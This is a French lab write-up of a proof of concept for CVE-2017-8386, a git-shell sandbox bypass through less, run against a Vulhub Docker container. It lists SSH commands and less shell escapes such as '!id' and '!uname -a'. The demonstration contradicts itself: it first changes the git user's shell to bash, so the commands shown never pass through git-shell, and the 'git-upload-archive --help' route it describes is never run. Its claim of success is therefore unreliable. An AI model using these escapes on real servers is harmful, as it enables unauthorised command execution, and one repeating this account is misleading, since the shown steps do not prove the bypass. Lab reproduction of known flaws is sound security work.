
PoC pour la vulnérabilité CVE-2017-8386 de contournement du sandbox Git-Shell.
정수진(@suz1n)
Git-shell fournit un environnement qui n'autorise que des commandes git restreintes via SSH. Cependant, dans certaines versions de git-shell (2.12.2, etc.), il existe une vulnérabilité (CVE-2017-8386) qui permet de contourner la sandbox et d'exécuter des commandes système en abusant de la commande less.
Ce rapport présente le PoC exécuté pour cette vulnérabilité et récapitule son déroulement.
git clone https://github.com/phith0n/vulhub.git
cd vulhub/git/CVE-2017-8386/

• Image de base Ubuntu 16.04
• Installation de Git 2.12.2 à partir des sources
• Installation et lancement du serveur OpenSSH
• Configuration de l'environnement git-shell (création de l'utilisateur git)
docker-compose build
docker-compose up -d
docker ps
• Vérification de l'exécution du conteneur (git-shell-cve-2017-8386)

1. Génération et copie de id_rsa.pub en local
2. Connexion à l'intérieur du conteneur et passage à l'utilisateur git
3. Enregistrement de authorized_keys
docker exec -it git-shell-cve-2017-8386 /bin/bash
chsh -s /bin/bash git
su git
mkdir -p ~/.ssh
chmod 700 ~/.ssh
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
vim ~/.ssh/authorized_keys

apt update
apt install less -y
apt install man-db -y
• Paquets less et man installés pour la réalisation du PoC
ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"
• Entrée réussie dans less
• Exécution de commandes système possible via la commande !
• !id -> affiche l'ID utilisateur et l'ID du groupe

• !whoami -> utilisateur actuel (git)
• !uname -a -> affiche les informations du noyau système
• !ls /home/git -> affiche la liste des fichiers du répertoire personnel de git
• Dans l'environnement git-shell, l'utilisateur est restreint et ne peut pas exécuter de commandes système.
• Cependant, via la commande `git-upload-archive --help`, il est possible d'appeler less en interne.
• La commande less prend en charge l'exécution de commandes shell système via la fonction !.
• Par conséquent, il est possible de contourner la sandbox de git-shell et d'exécuter des commandes arbitraires.
• Blog Insinuator : https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
• Dépôt GitHub Vulhub : https://github.com/phith0n/vulhub